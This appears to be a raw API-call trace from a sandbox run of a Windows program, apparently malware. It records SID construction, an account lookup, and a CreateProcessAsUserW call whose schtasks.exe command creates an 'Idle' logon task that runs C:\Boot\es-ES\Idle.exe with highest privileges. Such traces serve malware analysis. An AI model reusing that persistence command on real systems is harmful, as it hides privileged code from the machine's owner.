lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0133.674] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0133.674] GetLastError () returned 0x7a [0133.674] malloc (_Size=0x2c) returned 0x2ae2e0 [0133.674] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0133.675] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.675] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0133.675] malloc (_Size=0x1c) returned 0x2affd0 [0133.675] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0133.675] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0133.675] malloc (_Size=0x18) returned 0x2af000 [0133.675] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0133.675] malloc (_Size=0x18) returned 0x2aefa0 [0133.675] malloc (_Size=0x18) returned 0x2af0c0 [0133.675] SysStringLen (param_1="S-1-") returned 0x4 [0133.675] SysStringLen (param_1="5") returned 0x1 [0133.675] memcpy (in: _Dst=0x139568, _Src=0x139748, _Size=0xa | out: _Dst=0x139568) returned 0x139568 [0133.675] memcpy (in: _Dst=0x139570, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x139570) returned 0x139570 [0133.675] free (_Block=0x2af000) [0133.675] free (_Block=0x2aefa0) [0133.675] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0133.675] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0133.675] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0133.675] malloc (_Size=0x18) returned 0x2aefa0 [0133.675] malloc (_Size=0x18) returned 0x2af000 [0133.675] SysStringLen (param_1="S-1-5") returned 0x5 [0133.675] SysStringLen (param_1="-") returned 0x1 [0133.676] memcpy (in: _Dst=0x1398f8, _Src=0x139568, _Size=0xc | out: _Dst=0x1398f8) returned 0x1398f8 [0133.676] memcpy (in: _Dst=0x139902, _Src=0x139748, _Size=0x4 | out: _Dst=0x139902) returned 0x139902 [0133.676] free (_Block=0x2af0c0) [0133.676] free (_Block=0x2aefa0) [0133.676] malloc (_Size=0x18) returned 0x2aefa0 [0133.676] malloc (_Size=0x18) returned 0x2af0c0 [0133.676] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.676] SysStringLen (param_1="21") returned 0x2 [0133.676] memcpy (in: _Dst=0x139748, _Src=0x1398f8, _Size=0xe | out: _Dst=0x139748) returned 0x139748 [0133.676] memcpy (in: _Dst=0x139754, _Src=0x139568, _Size=0x6 | out: _Dst=0x139754) returned 0x139754 [0133.676] free (_Block=0x2af000) [0133.676] free (_Block=0x2aefa0) [0133.676] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0133.676] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0133.676] malloc (_Size=0x18) returned 0x2aefa0 [0133.676] malloc (_Size=0x18) returned 0x2af000 [0133.676] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.676] SysStringLen (param_1="-") returned 0x1 [0133.676] memcpy (in: _Dst=0x139568, _Src=0x139748, _Size=0x12 | out: _Dst=0x139568) returned 0x139568 [0133.676] memcpy (in: _Dst=0x139578, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x139578) returned 0x139578 [0133.676] free (_Block=0x2af0c0) [0133.676] free (_Block=0x2aefa0) [0133.676] malloc (_Size=0x18) returned 0x2aefa0 [0133.677] malloc (_Size=0x18) returned 0x2af0c0 [0133.677] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.677] SysStringLen (param_1="4219442223") returned 0xa [0133.677] memcpy (in: _Dst=0x1179a8, _Src=0x139568, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0133.677] memcpy (in: _Dst=0x1179ba, _Src=0x139748, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0133.677] free (_Block=0x2af000) [0133.677] free (_Block=0x2aefa0) [0133.677] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0133.677] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0133.677] malloc (_Size=0x18) returned 0x2aefa0 [0133.677] malloc (_Size=0x18) returned 0x2af000 [0133.677] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0133.677] SysStringLen (param_1="-") returned 0x1 [0133.677] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0133.677] memcpy (in: _Dst=0x1182de, _Src=0x139568, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0133.677] free (_Block=0x2af0c0) [0133.677] free (_Block=0x2aefa0) [0133.677] malloc (_Size=0x18) returned 0x2aefa0 [0133.677] malloc (_Size=0x18) returned 0x2af0c0 [0133.677] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0133.677] SysStringLen (param_1="4223814209") returned 0xa [0133.677] memcpy (in: _Dst=0x12db38, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0133.677] memcpy (in: _Dst=0x12db60, _Src=0x139568, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0133.677] free (_Block=0x2af000) [0133.677] free (_Block=0x2aefa0) [0133.677] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0133.678] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0133.678] malloc (_Size=0x18) returned 0x2aefa0 [0133.678] malloc (_Size=0x18) returned 0x2af000 [0133.678] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0133.678] SysStringLen (param_1="-") returned 0x1 [0133.678] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0133.678] memcpy (in: _Dst=0x12d844, _Src=0x139568, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0133.678] free (_Block=0x2af0c0) [0133.678] free (_Block=0x2aefa0) [0133.678] malloc (_Size=0x18) returned 0x2aefa0 [0133.678] malloc (_Size=0x18) returned 0x2af0c0 [0133.678] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0133.678] SysStringLen (param_1="3835049652") returned 0xa [0133.678] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0133.678] memcpy (in: _Dst=0x12db76, _Src=0x139568, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0133.678] free (_Block=0x2af000) [0133.678] free (_Block=0x2aefa0) [0133.678] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0133.678] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0133.678] malloc (_Size=0x18) returned 0x2aefa0 [0133.679] malloc (_Size=0x18) returned 0x2af000 [0133.679] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0133.679] SysStringLen (param_1="-") returned 0x1 [0133.679] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0133.679] memcpy (in: _Dst=0x12d85a, _Src=0x139568, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0133.679] free (_Block=0x2af0c0) [0133.679] free (_Block=0x2aefa0) [0133.679] malloc (_Size=0x18) returned 0x2aefa0 [0133.679] malloc (_Size=0x18) returned 0x2af0c0 [0133.679] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0133.679] SysStringLen (param_1="1000") returned 0x4 [0133.679] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0133.679] memcpy (in: _Dst=0x12db8c, _Src=0x139568, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0133.679] free (_Block=0x2af000) [0133.679] free (_Block=0x2aefa0) [0133.679] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0133.679] malloc (_Size=0x5e) returned 0x2b08a0 [0133.679] free (_Block=0x2af0c0) [0133.679] malloc (_Size=0x18) returned 0x2af0c0 [0133.680] free (_Block=0x2b08a0) [0133.680] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0133.681] GetLastError () returned 0x7a [0133.681] malloc (_Size=0x14) returned 0x2aefa0 [0133.681] malloc (_Size=0x16) returned 0x2af000 [0133.681] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca94, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0133.682] malloc (_Size=0x18) returned 0x2aefc0 [0133.682] malloc (_Size=0x18) returned 0x2af0e0 [0133.682] free (_Block=0x2aefa0) [0133.682] free (_Block=0x2af000) [0133.682] free (_Block=0x2affd0) [0133.682] free (_Block=0x2af0e0) [0133.682] free (_Block=0x2aefc0) [0133.682] free (_Block=0x2af0c0) [0133.682] free (_Block=0x2ae2e0) [0133.683] malloc (_Size=0x48) returned 0x2ad220 [0133.683] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0133.689] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0133.690] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0133.690] malloc (_Size=0x18) returned 0x2af0c0 [0133.690] CreateEnvironmentBlock () returned 0x1 [0133.720] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0133.720] malloc (_Size=0x18) returned 0x2aefc0 [0133.720] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"Idle\" /sc ONLOGON /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec00, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"Idle\" /sc ONLOGON /tr \"'C:\\Boot\\es-ES\\Idle.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf20, dwThreadId=0xf24)) returned 1 [0133.725] CloseHandle (hObject=0x2f8) returned 1 [0133.725] CloseHandle (hObject=0x248) returned 1 [0133.725] free (_Block=0x2aefc0) [0133.725] DestroyEnvironmentBlock () returned 0x1 [0133.725] malloc (_Size=0x48) returned 0x2ad270 [0133.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1eb42280, dwHighDateTime=0x1d8a92a)) [0133.725] SetEvent (hEvent=0x1f0) returned 1 [0133.726] CloseHandle (hObject=0x2d0) returned 1 [0133.726] CloseHandle (hObject=0x2dc) returned 1 [0133.832] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0133.832] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0133.832] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0134.315] SetLastError (dwErrCode=0x0) [0134.315] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0134.316] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0134.316] SetLastError (dwErrCode=0x0) [0134.316] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0134.316] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0134.316] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0134.316] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0134.316] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0134.316] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0134.318] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0134.319] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.319] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.319] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0134.319] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.319] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.319] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0134.322] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0134.322] GetCurrentThread () returned 0xfffffffffffffffe [0134.322] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0134.322] malloc (_Size=0xd8) returned 0x2b35c0 [0134.322] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0134.323] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0134.323] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0134.323] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0134.323] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0134.323] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0134.324] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0134.324] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0134.326] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0134.326] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0134.326] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0134.327] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0134.328] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0134.328] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0134.328] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0134.328] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0134.328] malloc (_Size=0x18) returned 0x2aef80 [0134.328] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0134.330] malloc (_Size=0x48) returned 0x2ad3b0 [0134.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1f10f820, dwHighDateTime=0x1d8a92a)) [0134.330] SetEvent (hEvent=0x1f0) returned 1 [0134.334] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0134.334] GetLastError () returned 0x7a [0134.334] malloc (_Size=0x2c) returned 0x2ae2a0 [0134.334] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0134.334] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0134.334] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0134.334] malloc (_Size=0x1c) returned 0x2affa0 [0134.334] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0134.334] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0134.334] malloc (_Size=0x18) returned 0x2af0c0 [0134.335] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0134.335] malloc (_Size=0x18) returned 0x2aefc0 [0134.335] malloc (_Size=0x18) returned 0x2af0e0 [0134.335] SysStringLen (param_1="S-1-") returned 0x4 [0134.335] SysStringLen (param_1="5") returned 0x1 [0134.335] memcpy (in: _Dst=0x1397a8, _Src=0x139658, _Size=0xa | out: _Dst=0x1397a8) returned 0x1397a8 [0134.335] memcpy (in: _Dst=0x1397b0, _Src=0x139778, _Size=0x4 | out: _Dst=0x1397b0) returned 0x1397b0 [0134.335] free (_Block=0x2af0c0) [0134.335] free (_Block=0x2aefc0) [0134.335] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0134.335] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0134.335] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0134.335] malloc (_Size=0x18) returned 0x2aefc0 [0134.336] malloc (_Size=0x18) returned 0x2af0c0 [0134.336] SysStringLen (param_1="S-1-5") returned 0x5 [0134.336] SysStringLen (param_1="-") returned 0x1 [0134.336] memcpy (in: _Dst=0x139778, _Src=0x1397a8, _Size=0xc | out: _Dst=0x139778) returned 0x139778 [0134.336] memcpy (in: _Dst=0x139782, _Src=0x139658, _Size=0x4 | out: _Dst=0x139782) returned 0x139782 [0134.336] free (_Block=0x2af0e0) [0134.336] free (_Block=0x2aefc0) [0134.336] malloc (_Size=0x18) returned 0x2aefc0 [0134.336] malloc (_Size=0x18) returned 0x2af0e0 [0134.336] SysStringLen (param_1="S-1-5-") returned 0x6 [0134.336] SysStringLen (param_1="21") returned 0x2 [0134.336] memcpy (in: _Dst=0x139658, _Src=0x139778, _Size=0xe | out: _Dst=0x139658) returned 0x139658 [0134.336] memcpy (in: _Dst=0x139664, _Src=0x1397a8, _Size=0x6 | out: _Dst=0x139664) returned 0x139664 [0134.337] free (_Block=0x2af0c0) [0134.337] free (_Block=0x2aefc0) [0134.337] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0134.337] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0134.337] malloc (_Size=0x18) returned 0x2aefc0 [0134.337] malloc (_Size=0x18) returned 0x2af0c0 [0134.337] SysStringLen (param_1="S-1-5-21") returned 0x8 [0134.337] SysStringLen (param_1="-") returned 0x1 [0134.337] memcpy (in: _Dst=0x1397a8, _Src=0x139658, _Size=0x12 | out: _Dst=0x1397a8) returned 0x1397a8 [0134.337] memcpy (in: _Dst=0x1397b8, _Src=0x139778, _Size=0x4 | out: _Dst=0x1397b8) returned 0x1397b8 [0134.337] free (_Block=0x2af0e0) [0134.337] free (_Block=0x2aefc0) [0134.338] malloc (_Size=0x18) returned 0x2aefc0 [0134.338] malloc (_Size=0x18) returned 0x2af0e0 [0134.338] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0134.338] SysStringLen (param_1="4219442223") returned 0xa [0134.338] memcpy (in: _Dst=0x1176d8, _Src=0x1397a8, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0134.338] memcpy (in: _Dst=0x1176ea, _Src=0x139658, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0134.338] free (_Block=0x2af0c0) [0134.338] free (_Block=0x2aefc0) [0134.338] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0134.338] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0134.338] malloc (_Size=0x18) returned 0x2aefc0 [0134.338] malloc (_Size=0x18) returned 0x2af0c0 [0134.338] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 